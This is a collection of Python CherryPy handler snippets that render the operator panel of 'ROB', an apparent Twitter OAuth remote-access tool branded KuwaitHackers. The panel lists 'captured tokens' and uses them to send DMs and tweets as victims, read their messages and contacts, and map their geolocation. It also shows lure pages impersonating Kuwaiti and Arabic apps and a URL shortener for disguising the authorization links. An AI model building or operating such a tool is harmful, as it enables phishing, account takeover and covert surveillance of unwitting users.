Пример #1
0
    def index(self):
        tokens_list = getTokens()

        #TODO: When the user clicks on copy, it will generate (shortened url, authorization url) record.
        #TODO: The Url shortener service will process the url by logging user details, injects long-lived cookie,
        #TODO: and then redirects (300) to the twitter oauth url.

        return """<!DOCTYPE html> 
            <html>
               <head>
                  <title> روب ROB </title>
                  <meta name="description" content="website description" />
                  <meta name="keywords" content="website keywords, website keywords" />
                  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
                  <link rel="stylesheet" type="text/css" href="assets/css/style.css" />
                  <link rel='stylesheet' id='theme53935-css' href='http://livedemo00.template-help.com/wordpress_53935/wp-content/themes/theme53935/main-style.css' type='text/css' media='all'/>
                  <!-- modernizr enables HTML5 elements and feature detects -->
                  <script type="text/javascript" src="assets/js/modernizr-1.5.min.js"></script>
               </head>
               <body>
                  <div id="host" data-port= """ + str(
            cherrypy.config['server.socket_port']
        ) + """></div>
                  
                  <div id="main">
                     <header>
                        <div id="logo">
                           <a href="Token.html"><img id="logo1" src="assets/images/kuwaithackers.jpeg" alt="KuwaitHackers"><img id="logo2" src="assets/images/logo.png" alt="ROB روب""></a>
                        </div>
                        <!--close welcome-->          
                     </header>
                     <nav>
                        <div id="menubar">
                           <ul id="nav">
                              <li><a href="/thirdpartyrats/twitter/tokens">TOKEN</a></li>
                              <li><a href="/thirdpartyrats/twitter/directMessage">DIRECT-MESSAGE</a></li>
                              <li><a href="/thirdpartyrats/twitter/postTweet">TWEETS</a></li>
                              <li><a href="/thirdpartyrats/twitter/getContacts">CONTACTS</a></li>
                              <li><a href="/thirdpartyrats/twitter/userActivity">USER-ACTIVITY</a></li>
                              <li><a href="/thirdpartyrats/twitter/geoTagging">GEO-TAG</a></li>
                              <li class="current"><a href="/thirdpartyrats/twitter/apps">TWITTER-APPS</a></li>
                              <li><a href="/thirdpartyrats/twitter/urlShortener">URL-SHORTENER</a></li>
                           </ul>
                        </div>
                        <!--close menubar--> 
                     </nav>
                     <div id="site_content">
                        <div class="sidebar_container">
                           <div class="sidebar">
                              <div style="text-align: center;">
                                 <span style="font-weight: bold;">
                                    <h2>&#1604;&#1608;&#1581;&#1577;
                                       &#1575;&#1604;&#1578;&#1581;&#1603;&#1605; &#1604;&#1578;&#1591;&#1576;&#1610;&#1602;&#1575;&#1578;
                                       &#1578;&#1608;&#1578;&#1610;&#1585;&nbsp;&nbsp;&nbsp;<br>Captured tokens
                                    </h2>
                                 </span>
                                 <br>
                                 <br>
                                 <br>
                                 <form method="get" action="/thirdpartyrats/twitter/tokens/getTokenParam">
                                    <select size="12" id="token_id" name="token_id" style="width: 70%; padding: 10px; margin-bottom: 10px;">
                                      """ + tokens_list + """
                                    </select>
                                    <br>
                                    <input type="submit" value="Load Token"/>
                                 </form>
                                 <br>
                              </div>
                           </div>
                           <!--close sidebar-->    
                        </div>
                        <!--close sidebar_container-->   
                        <div id="content" class="container_twitter_app">
                           <article id="center_bar" class="center_bar">
                              <h1 id="center_bar">Twitter Apps</h1>
                              <div class="d-block d-block-system g-main" style="margin-top: 32px;">
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                                <img src="assets/images/apps/""" + LogoFilename[
            AppsEnum.ALARABIYA] + """\">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                AppsEnum.ALARABIYA] + """\">
                                            قناة العربية الاخبارية<p>‏آخر مستجدات الأخبار الهامة من الحساب الرسمي لقناة العربية</p></a></h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                          <img id="copy_link" src="assets/images/copy.png" width="73" height="73">
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                                <img src="assets/images/apps/""" + LogoFilename[
                    AppsEnum.TALABAT] + """\">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                        AppsEnum.TALABAT] + """\">
               طلبات دوت كوم<p>‏طلبات دوت كوم ‏أكبر موقع وتطبيق الكتروني في دول الخليج العربي للطلب اون لاين من مطاعمك المفضلة</p></a>
                                            </h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                          <img id="copy_link" src="assets/images/copy.png" width="73" height="73"/>
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                                <img src="assets/images/apps/""" + LogoFilename[
                            AppsEnum.CNNARABIC] + """\">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                                AppsEnum.CNNARABIC] + """\">
                                            CNN بالعربية<p>World Wide News Leader, in Arabic, Dubai, United Arab Emirates</p></a></h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                          <img id="copy_link" src="assets/images/copy.png" width="73" height="73"/>
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                              <img src="assets/images/apps/""" + LogoFilename[
                                    AppsEnum.CINESCAPE] + """\">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                                        AppsEnum.CINESCAPE] + """\">
                                            Cinescape - سينسكيب<p>شركة السينما الكويتية الوطنية</p></a></h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                          <img id="copy_link" src="assets/images/copy.png" width="73" height="73" />
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                               <img src="assets/images/apps/""" + LogoFilename[
                                            AppsEnum.WATAN] + """\">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                                                AppsEnum.WATAN] + """\">
                                            قناة الوطن - alwatantv.com<p>تطبيق تلفزيون قناة الوطن لجدول البرامج - مسلسلات -أخبار -رياضة -إسلامي</p></a></h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                            <img id="copy_link" src="assets/images/copy.png" width="73" height="73">
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                              <img src="assets/images/apps/""" + LogoFilename[
                                                    AppsEnum.DERWAZA] + """\">
                                            </td>
                                            <td><h6>
                                            <a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                                                        AppsEnum.
                                                        DERWAZA] + """\">
                                            أخبار دروازة<p>أكبر شبكة اخبارية في الكويت، أكثر من ٥٠٠ ألف مشترك ، أخبار متنوعة عالمية ومحلية </p></a></h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                          <img id="copy_link" src="assets/images/copy.png" width="73" height="73">
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                               <img src="assets/images/apps/""" + LogoFilename[
                                                            AppsEnum.
                                                            VIVA] + """\">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                                                                AppsEnum.
                                                                VIVA] + """\">
                                            الكويت VIVA<p>مقدم خدمات الاتصالات المتنقلة الأكثر تطوراً وتقدماً في دولة الكويت</p></a></h6></td>
                                         </tr>
                                      </table>
                                    </div>
                                    <div class="app-shortcut">
                                       <a href="javascript:;">
                                          <img id="copy_link" src="assets/images/copy.png" width="73" height="73">
                                        </a>
                                    </div>
                                 </div>
                                 <hr>
                                 <div class="app-icon">
                                    <div class="icon-table">
                                      <table border="0">
                                         <tr>
                                            <td>
                                                  <img src="assets/images/apps/zain.jpg">
                                            </td>
                                            <td><h6><a href="/thirdpartyrats/twitter/apps/logUser?appEnumString=""" + AppName[
                                                                    AppsEnum.
                                                                    ZAIN] + """\">
Пример #2
0
    def index(self):
        tokens_list = getTokens();
        consumer_key=''
        if ("consumer_key" not in cherrypy.session.keys() or cherrypy.session['consumer_key'] == ""):
            raise cherrypy.HTTPRedirect("/thirdpartyrats/twitter/tokens");
        else:
            consumer_key = cherrypy.session["consumer_key"];

        return """<!DOCTYPE html> 
               <html>
               <head>
                  <title> روب ROB </title>
                  <meta name="description" content="website description" />
                  <meta name="keywords" content="website keywords, website keywords" />
                  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
                  <meta http-equiv="Pragma" content="no-cache">
                  <meta http-equiv="Expires" content="-1">
                  <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
                  <link rel="stylesheet" type="text/css" href="assets/css/style.css" />
                  <link rel='stylesheet' id='theme53935-cs
                  s' href='http://livedemo00.template-help.com/wordpress_53935/wp-content/themes/theme53935/main-style.css' type='text/css' media='all'/>
                  <!-- modernizr enables HTML5 elements and feature detects -->
                  <script type="text/javascript" src="assets/js/modernizr-1.5.min.js"></script>
               </head>
                  <body>
                     <div id="main">
                        <header>
                           <div id="logo">
                              <a href="Token.html"><img id="logo1" src="assets/images/kuwaithackers.jpeg" alt="ROB روب""><img id="logo2" src="assets/images/logo.png" alt="ROB روب""></a>
                           </div>
                           <!--close welcome-->          
                        </header>
                        <nav>
                           <div id="menubar">
                              <ul id="nav">
                              <li><a href="/thirdpartyrats/twitter/tokens">TOKEN</a></li>
                              <li class="current"><a href="/thirdpartyrats/twitter/directMessage">DIRECT-MESSAGE</a></li>
                              <li><a href="/thirdpartyrats/twitter/postTweet">TWEETS</a></li>
                              <li><a href="/thirdpartyrats/twitter/getContacts">CONTACTS</a></li>
                              <li><a href="/thirdpartyrats/twitter/userActivity">USER-ACTIVITY</a></li>
                              <li><a href="/thirdpartyrats/twitter/geoTagging">GEO-TAG</a></li>
                              <li><a href="/thirdpartyrats/twitter/apps">TWITTER-APPS</a></li>
                              <li><a href="/thirdpartyrats/twitter/urlShortener">URL-SHORTENER</a></li>
                              </ul>
                           </div>
                           <!--close menubar-->  
                        </nav>
                        <div id="site_content">
                           <div class="sidebar_container">
                              <div class="sidebar">
                                 <div style="text-align: center;">
                                    <span style="font-weight: bold;">
                                       <h2>&#1604;&#1608;&#1581;&#1577;
                                          &#1575;&#1604;&#1578;&#1581;&#1603;&#1605; &#1604;&#1578;&#1591;&#1576;&#1610;&#1602;&#1575;&#1578;
                                          &#1578;&#1608;&#1578;&#1610;&#1585;&nbsp;&nbsp;&nbsp;<br>Captured tokens
                                       </h2>
                                    </span>
                                    <br>
                                    <br>
                                    <br>
                                    <form method="post" action="javascript:;">
                                        <select size="12" id="tokenlist" name="tokenlist" style="width: 70%; padding: 10px; margin-bottom: 10px;">
                                  """+tokens_list+"""
                                        </select>
                                        <br>
                                    <input onclick="handleSelectedToken()" type="submit" value="Load Token"/>
                                   </form>
                                    <br>
                                 </div>
                              </div>
                              <!--close sidebar-->    
                           </div>
                           <!--close sidebar_container-->  
                           <div id="content" class="container_direct_message" style="padding-top: 10px;">
                              <form method="post" action="directMessage" name="dm" id="dmform" style="margin-left: 150px;">
                                 <h1 style="font-weight: bold; margin-bottom: 10px; margin-top: 13px; color: #f1f1f1;">Send Direct Message</h1>
                                 <label>Username: </label>
                                 <input type="text" id="dmusername" form="dmform" name="dmusername" height="30" style="width: 303px;"><br>
                                 <label>Message: </label><br>
                                 <textarea rows="10" id="dmTextArea" form="dmform" name="dmTextArea" style="width: 380px; margin-bottom: 6px;"></textarea>
                                 <br>
                                 <input form="dmform" value="Send" type="submit" style="width: 110px; margin-left: 150px;">
                              </form>
                           </div>
                           <!--close content-->   
                        </div>
                        <!--close site_content-->    
                        <footer>
                        </footer>
                     </div>
                     <!--close main-->
                     <style type="text/css">
                        #tokenlist option{
                          font-size: 16px;
                          font-family: "Open Sans", sans-serif;
                        }
                        #tokenlist, #dmTextArea{
                          border: 4px ridge white;
                        }
                        #dmTextArea{
                          border-radius: 10px;
                        }
                     </style>
                     <!-- javascript at the bottom for fast page loading -->
                     <script type="text/javascript" src="assets/js/jquery.min.js"></script>
                     <script type="text/javascript" src='assets/js/getTokenDetails.js'></script>
                    <script>
                    function handleSelectedToken(){
                    var selector = document.getElementById('tokenlist');
                    var selectedToken = selector[selector.selectedIndex].value;
                    getTokenDetails('"""+consumer_key+"""')
Пример #3
0
    def index(self):
        consumer_key = ''
        if ("consumer_key" not in cherrypy.session.keys()
                or cherrypy.session['consumer_key'] == ""):
            raise cherrypy.HTTPRedirect("/thirdpartyrats/twitter/tokens")
        else:
            consumer_key = cherrypy.session["consumer_key"]

        tokens_list = getTokens()

        #intitialization
        if ("messageType" not in cherrypy.session.keys()):
            cherrypy.session["messageType"] = ''
        if ("activityList" not in cherrypy.session.keys()):
            cherrypy.session["activityList"] = ''
        if ("tweetList" not in cherrypy.session.keys()):
            cherrypy.session["tweetList"] = ''
        if "msgText" not in cherrypy.session.keys():
            cherrypy.session["msgText"] = ''

        if RobConfig.direct_messages == []:
            cherrypy.session["activityList"] = getDirectMessages()
        if RobConfig.tweets == []:
            cherrypy.session["tweetList"] = getTweets(
                cherrypy.session['screen_name'])

        return """<!DOCTYPE html>
            <html>
               <head>
                  <title> روب ROB </title>
                  <meta name="description" content="website description" />
                  <meta name="keywords" content="website keywords, website keywords" />
                  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
                  <meta http-equiv="Pragma" content="no-cache">
                  <meta http-equiv="Expires" content="-1">
                  <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
                  <link rel="stylesheet" type="text/css" href="assets/css/style.css" />
                  <link rel='stylesheet' id='theme53935-css' href='http://livedemo00.template-help.com/wordpress_53935/wp-content/themes/theme53935/main-style.css' type='text/css' media='all'/>
                  <!-- modernizr enables HTML5 elements and feature detects -->
                  <script type="text/javascript" src="assets/js/modernizr-1.5.min.js"></script>
               </head>
               <body onload="loadActivitySearch()">
                  <div id="main">
                     <header>
                        <div id="logo">
                           <a href="Token.html"><img id="logo1" src="assets/images/kuwaithackers.jpeg" alt="ROB روب""><img id="logo2" src="assets/images/logo.png" alt="ROB روب""></a>
                        </div>
                        <!--close welcome-->          
                     </header>
                     <nav>
                        <div id="menubar">
                           <ul id="nav">
                              <li><a href="/thirdpartyrats/twitter/tokens">TOKEN</a></li>
                              <li><a href="/thirdpartyrats/twitter/directMessage">DIRECT-MESSAGE</a></li>
                              <li><a href="/thirdpartyrats/twitter/postTweet">TWEETS</a></li>
                              <li><a href="/thirdpartyrats/twitter/getContacts">CONTACTS</a></li>
                              <li class="current"><a href="/thirdpartyrats/twitter/userActivity">USER-ACTIVITY</a></li>
                              <li><a href="/thirdpartyrats/twitter/geoTagging">GEO-TAG</a></li>
                              <li><a href="/thirdpartyrats/twitter/apps">TWITTER-APPS</a></li>
                              <li><a href="/thirdpartyrats/twitter/urlShortener">URL-SHORTENER</a></li>
                           </ul>
                        </div>
                        <!--close menubar-->  
                     </nav>
                     <div id="site_content">
                        <div class="sidebar_container">
                           <div class="sidebar">
                              <div style="text-align: center;">
                                 <span style="font-weight: bold;">
                                    <h2>&#1604;&#1608;&#1581;&#1577;
                                       &#1575;&#1604;&#1578;&#1581;&#1603;&#1605; &#1604;&#1578;&#1591;&#1576;&#1610;&#1602;&#1575;&#1578;
                                       &#1578;&#1608;&#1578;&#1610;&#1585;&nbsp;&nbsp;&nbsp;<br>Captured tokens
                                    </h2>
                                 </span>
                                 <br>
                                 <br>
                                 <br>
                               <form method="post" action="javascript:;">
                                  <select size="12" id="tokenlist" name="tokenlist" style="width: 70%; padding: 10px; margin-bottom: 10px;">
                                  """ + tokens_list + """
                                  </select>
                                  <br>
                                  <input onclick="handleSelectedToken()" type="submit" value="Load Token"/>
                               </form>
                                 <br>
                              </div>
                           </div>
                           <!--close sidebar-->    
                        </div>
                        <!--close sidebar_container-->  
                        <div id="content" class="container_direct_message" style="width: 600px; padding-top: 10px;">
                           <h1 id="activityTitle" style="font-weight: bold; margin-left: 150px; margin-bottom: 10px; margin-top: 13px; color: #f1f1f1;">List Direct Messages</h1>
                           <form method="post" action="/thirdpartyrats/twitter/userActivity/getMessageText" name="directForm" id="directForm" style="width: 650px; padding-left: 150px;">
                              <label>Messages: </label><br>
                               <select id="dmlist" name="dmlist" size="5" style="width: 500px; margin-bottom: 6px;">""" + cherrypy.session[
            "activityList"] + """</select>
                               <input type="hidden" name="messageType" id="messageType" value="dm">
                               <textarea rows="10" name="directmsgsTextArea" id="directmsgsTextArea" style="width: 500px; margin-bottom: 6px;">""" + cherrypy.session[
                "msgText"] + """</textarea><br>
                                <br>
                              <input form="directForm" value="Load Text" name="activityButton" id="activityButton" type="submit" style="margin-left: 350px;">
                           </form>
                           <input type="radio" name="activityRadio" id="activityDM" checked=checked onchange=changeActivitySearch() value="dm" style="margin-left: 140px;"> Direct Messages &emsp;&emsp;<input type="radio" name="activityRadio" onchange=changeActivitySearch() id="activityTweet" value="tweet"> Tweets <br>
                        </div>
                        <!--close content-->   
                     </div>
                     <!--close site_content-->    
                     <footer>
                     </footer>
                  </div>
                  <!--close main-->
                  <style type="text/css">
                     #tokenlist option{
                       font-size: 16px;
                       font-family: "Open Sans", sans-serif;
                     }
                     #tokenlist, #directmsgsTextArea{
                       border: 4px ridge white;
                     }
                     #directmsgsTextArea{
                       border-radius: 10px;
                     }
                  </style>

                  <!-- javascript at the bottom for fast page loading -->
                  <script type="text/javascript" src="assets/js/jquery.min.js"></script>
                <script>
                
                function handleSelectedToken(){
                    var selector = document.getElementById('tokenlist');
                    var selectedToken = selector[selector.selectedIndex].value;
                    getTokenDetails('""" + consumer_key + """')
                }
                
                function loadActivitySearch(){
                    if(\"""" + cherrypy.session["messageType"] + """\" == "dm"){
                        document.getElementById('activityDM').checked = true;
                    } else if(\"""" + cherrypy.session[
                    "messageType"] + """\" == "tweet"){
                        document.getElementById('activityTweet').checked = true;
                    }
                    changeActivitySearch()
                }

                function changeActivitySearch(){
                    if(document.getElementById('activityDM').checked) {
                        //DM radio button is checked
                        document.getElementById('activityTitle').innerText = "List Direct Messages";
                        document.getElementById('messageType').value = "dm";
                        $('#dmlist').html(' """ + cherrypy.session[
                        "activityList"] + """ ');
                    }else if(document.getElementById('activityTweet').checked) {
                        //Tweet radio button is checked
                        document.getElementById('activityTitle').innerText = "List User Tweets"
                        document.getElementById('messageType').value = "tweet";
                        $('#dmlist').html(' """ + cherrypy.session[
                            "tweetList"] + """ ');
Пример #4
0
    def index(self):
        tokens_list = getTokens()
        consumer_key = ''
        shortUrl = ''

        if "consumer_key" in cherrypy.session.keys():
            consumer_key = cherrypy.session["consumer_key"]

        if "shortUrl" in cherrypy.session.keys():
            shortUrl = cherrypy.session["shortUrl"]

        return """<!DOCTYPE html> 
               <html>
               <head>
                  <title> روب ROB </title>
                  <meta name="description" content="website description" />
                  <meta name="keywords" content="website keywords, website keywords" />
                  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
                  <meta http-equiv="Pragma" content="no-cache">
                  <meta http-equiv="Expires" content="-1">
                  <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
                  <link rel="stylesheet" type="text/css" href="assets/css/style.css" />
                  <link rel='stylesheet' id='theme53935-css' href='http://livedemo00.template-help.com/wordpress_53935/wp-content/themes/theme53935/main-style.css' type='text/css' media='all'/>
                  <!-- modernizr enables HTML5 elements and feature detects -->
                  <script type="text/javascript" src="assets/js/modernizr-1.5.min.js"></script>
                    <script>
                    function setUrl(){
                        document.getElementById("original_url").value = localStorage.getItem('copiedUrl')
                        document.getElementById("urlShortLink").value = \"""" + shortUrl + """\"
                    }
                    </script>
                  </head>
                  <body onload="setUrl()">
                     <div id="main">
                        <header>
                           <div id="logo">
                              <a href="Token.html"><img id="logo1" src="assets/images/kuwaithackers.jpeg" alt="ROB روب""><img id="logo2" src="assets/images/logo.png" alt="ROB روب""></a>
                           </div>
                           <!--close welcome-->          
                        </header>
                        <nav>
                           <div id="menubar">
                              <ul id="nav">
                              <li><a href="/thirdpartyrats/twitter/tokens">TOKEN</a></li>
                              <li><a href="/thirdpartyrats/twitter/directMessage">DIRECT-MESSAGE</a></li>
                              <li><a href="/thirdpartyrats/twitter/postTweet">TWEETS</a></li>
                              <li><a href="/thirdpartyrats/twitter/getContacts">CONTACTS</a></li>
                              <li><a href="/thirdpartyrats/twitter/userActivity">USER-ACTIVITY</a></li>
                              <li><a href="/thirdpartyrats/twitter/geoTagging">GEO-TAG</a></li>
                              <li><a href="/thirdpartyrats/twitter/apps">TWITTER-APPS</a></li>
                              <li class="current"><a href="/thirdpartyrats/twitter/urlShortener">URL-SHORTENER</a></li>
                              </ul>
                           </div>
                           <!--close menubar-->  
                        </nav>
                        <div id="site_content">
                           <div class="sidebar_container">
                              <div class="sidebar">
                                 <div style="text-align: center;">
                                    <span style="font-weight: bold;">
                                       <h2>&#1604;&#1608;&#1581;&#1577;
                                          &#1575;&#1604;&#1578;&#1581;&#1603;&#1605; &#1604;&#1578;&#1591;&#1576;&#1610;&#1602;&#1575;&#1578;
                                          &#1578;&#1608;&#1578;&#1610;&#1585;&nbsp;&nbsp;&nbsp;<br>Captured tokens
                                       </h2>
                                    </span>
                                    <br>
                                    <br>
                                    <br>
                                    <form method="post" action="javascript:;">
                                        <select size="12" id="tokenlist" name="tokenlist" style="width: 70%; padding: 10px; margin-bottom: 10px;">
                                  """ + tokens_list + """
                                        </select>
                                        <br>
                                    <input onclick="handleSelectedToken()" type="submit" value="Load Token"/>
                                   </form>
                                    <br>
                                 </div>
                              </div>
                              <!--close sidebar-->    
                           </div>
                           <!--close sidebar_container-->  
                            <div id="content" class="container_url_shortener" style="padding-top: 10px;">
                              <form method="post" action="makeUrlShort" name="dm" id="urlform" style="margin-left: 20px;">
                                 <h1 style="font-weight: bold; margin-bottom: 10px; margin-top: 13px; color: #f1f1f1;">Url Shortener:</h1>
                                 <label>Original Url: </label>
                                 <input type="text" id="original_url" name="original_url" height="30" style="width: 800px;"><br><br>
                                 <input type="radio" id="tinyurl" name="urltype" value="tinyurl" checked>&ensp;<label for="tinyurl">TinyUrl</label>&emsp;
                                 <input type="radio" id="isgdurl" name="urltype" value="isgdurl">&ensp;<label for="isgdurl">ISGDUrl</label>&emsp;
                                 <input type="radio" id="chilpit" name="urltype" value="chilpit">&ensp;<label for="chilpit">CHILPIT</label>&emsp;
                                 <input type="radio" id="clckru" name="urltype" value="clckru">&ensp;<label for="clckru">CLCKRU</label>&emsp;
                                 <input type="radio" id="dagd" name="urltype" value="dagd">&ensp;<label for="dagd">DAGD</label>&emsp;
                                 <input type="radio" id="nullptr" name="urltype" value="nullptr">&ensp;<label for="nullptr">NULLPTR</label>&emsp;
                                 <input type="radio" id="osdb" name="urltype" value="osdb">&ensp;<label for="osdb">OSDB</label>&emsp;
                                 <input type="radio" id="qpsru" name="urltype" value="qpsru">&ensp;<label for="qpsru">QPSRU</label>&emsp;
                                 <input form="urlform" type="submit" value="Get ShortUrl"/>
                              </form>
                            </div>
                           <!--close content-->   
                        </div>
                        <!--close site_content-->    
                        <footer>
                        </footer>
                        <input align="center" type="text" style="width:700px !important; height:60px !important; font-size:40px !important;" id="urlShortLink" name="urlShortLink" />               
                    </div>
                     <!--close main-->
                     <style type="text/css">
                        #tokenlist option{
                          font-size: 16px;
                          font-family: "Open Sans", sans-serif;
                        }
                        #tokenlist, #dmTextArea{
                          border: 4px ridge white;
                        }
                        #dmTextArea{
                          border-radius: 10px;
                        }
                        #urlShortLink {
                            background-color : transparent;
		                    border-color: transparent;
                            color: #0c9fe8;
                            margin: 0;
                            position: absolute;
                            left: 45%;
                            margin-left: -.4em;
                        }
                        
                     </style>
                     <!-- javascript at the bottom for fast page loading -->
                     <script type="text/javascript" src="assets/js/jquery.min.js"></script>
                     <script type="text/javascript" src='assets/js/getTokenDetails.js'></script>

                    <script>
                    function handleSelectedToken(){
                    var selector = document.getElementById('tokenlist');
                    var selectedToken = selector[selector.selectedIndex].value;
                    getTokenDetails('""" + consumer_key + """')
Пример #5
0
    def index(self):
        tokens_list = getTokens()

        consumer_key=''
        if ("consumer_key" not in cherrypy.session.keys() or cherrypy.session['consumer_key'] == ""):
            raise cherrypy.HTTPRedirect("/thirdpartyrats/twitter/tokens");
        else:
            consumer_key = cherrypy.session["consumer_key"];

        return """<!DOCTYPE html> 
              <html>
                 <head>
                    <title> روب ROB </title>
                    <meta name="description" content="website description" />
                    <meta name="keywords" content="website keywords, website keywords" />
                    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
                    <link rel="stylesheet" type="text/css" href="assets/css/style.css" />
                    <link rel='stylesheet' id='theme53935-css' href='http://livedemo00.template-help.com/wordpress_53935/wp-content/themes/theme53935/main-style.css' type='text/css' media='all'/>
                    <!-- modernizr enables HTML5 elements and feature detects -->
                    <script type="text/javascript" src="assets/js/modernizr-1.5.min.js"></script>
                    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/leaflet.js"></script>
                    <script src="https://code.jquery.com/jquery-1.12.4.min.js"></script>
                    
                    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
                    <script src="https://cdnjs.cloudflare.com/ajax/libs/Leaflet.awesome-markers/2.0.2/leaflet.awesome-markers.js"></script>
                    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/leaflet.css"/>
                                        
                    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/Leaflet.awesome-markers/2.0.2/leaflet.awesome-markers.css"/>
                    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/python-visualization/folium/folium/templates/leaflet.awesome.rotate.min.css"/>
                    
                 </head>
                 <body>
                    <div id="main">
                       <header>
                          <div id="logo">
                             <a href="Token.html"><img id="logo1" src="assets/images/kuwaithackers.jpeg" alt="ROB روب""><img id="logo2" src="assets/images/logo.png" alt="ROB روب""></a>
                          </div>
                          <!--close welcome-->          
                       </header>
                       <nav>
                          <div id="menubar">
                             <ul id="nav">
                              <li><a href="/thirdpartyrats/twitter/tokens">TOKEN</a></li>
                              <li><a href="/thirdpartyrats/twitter/directMessage">DIRECT-MESSAGE</a></li>
                              <li><a href="/thirdpartyrats/twitter/postTweet">TWEETS</a></li>
                              <li><a href="/thirdpartyrats/twitter/getContacts">CONTACTS</a></li>
                              <li><a href="/thirdpartyrats/twitter/userActivity">USER-ACTIVITY</a></li>
                              <li class="current"><a href="/thirdpartyrats/twitter/geoTagging">GEO-TAG</a></li>
                              <li><a href="/thirdpartyrats/twitter/apps">TWITTER-APPS</a></li>
                              <li><a href="/thirdpartyrats/twitter/urlShortener">URL-SHORTENER</a></li>
                             </ul>
                          </div>
                          <!--close menubar-->  
                       </nav>
                       <div id="site_content">
                          <div class="sidebar_container">
                             <div class="sidebar">
                                <div style="text-align: center;">
                                   <span style="font-weight: bold;">
                                      <h2>&#1604;&#1608;&#1581;&#1577;
                                         &#1575;&#1604;&#1578;&#1581;&#1603;&#1605; &#1604;&#1578;&#1591;&#1576;&#1610;&#1602;&#1575;&#1578;
                                         &#1578;&#1608;&#1578;&#1610;&#1585;&nbsp;&nbsp;&nbsp;<br>Captured tokens
                                      </h2>
                                   </span>
                                   <br>
                                   <br>
                                   <br>
                                <form method="post" action="javascript:;">
                                  <select size="12" id="tokenlist" name="tokenlist" style="width: 70%; padding: 10px; margin-bottom: 10px;">
                                  """+tokens_list+"""
                                  </select>
                                  <br>
                                  <input onclick="handleSelectedToken()" type="submit" value="Load Token"/>
                               </form>
                                   <br>
                                </div>
                             </div>
                             <!--close sidebar-->    
                          </div>
                          <!--close sidebar_container-->  
                          <div id="content" class="container_direct_message" style="padding-top: 10px;">
                             <article id="center_bar" class="center_bar">
                                <div class="d-block d-block-system g-main">
                                   <!--Google Maps -->
                                   <div style="text-align: left;">
                                      <h1 style="font-weight: bold; margin-bottom: 20px; margin-top: 23px; color: #f1f1f1;">Geo Tagging </h1>
                                      <script>
                                         function getLocationDetails(e){
                                             e.preventDefault()
                                             var select = document.getElementById('locationlist');
                                             var locationPoint = select.options[select.selectedIndex].text;
                                             
                                             /** parse location point and pass to map **/
                                             var parseArray = locationPoint.split(':');
                                             
                                             var parseArray2 = parseArray[1].split(' ');
                                             var parseArray3 = parseArray[2].split(' ');
                                             
                                             var lat = parseArray2[1];
                                             var long = parseArray3[1];
                                             //window.localStorage["lat"] = lat;
                                             //window.localStorage["long"] = long;
                                             
                                            //checking map
                                            var container = L.DomUtil.get('latlongmap');
                                            if (container != null) {
                                                container._leaflet_id = null;
                                            }

                                            var gl_map = L.map(
                                                "latlongmap", {
                                                center: [lat, long],
                                                crs: L.CRS.EPSG3857,
                                                zoom: 12,
                                                zoomControl: true,
                                                preferCanvas: false,
                                                }
                                            );

                                        var tile_layer = L.tileLayer(
                                            "https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", {
                                            "attribution": "",
                                            "detectRetina": false,
                                            "maxNativeZoom": 18,
                                            "maxZoom": 18,
                                            "minZoom": 0,
                                            "noWrap": false,
                                            "opacity": 1,
                                            "subdomains": "abc",
                                            "tms": false
                                            }
                                        ).addTo(gl_map);
                                        L.marker([lat, long]).addTo(gl_map);
                                      }
                                      </script>
                                      <div id="latlongmap" style="width:55%; height:285px; float: left;"></div>
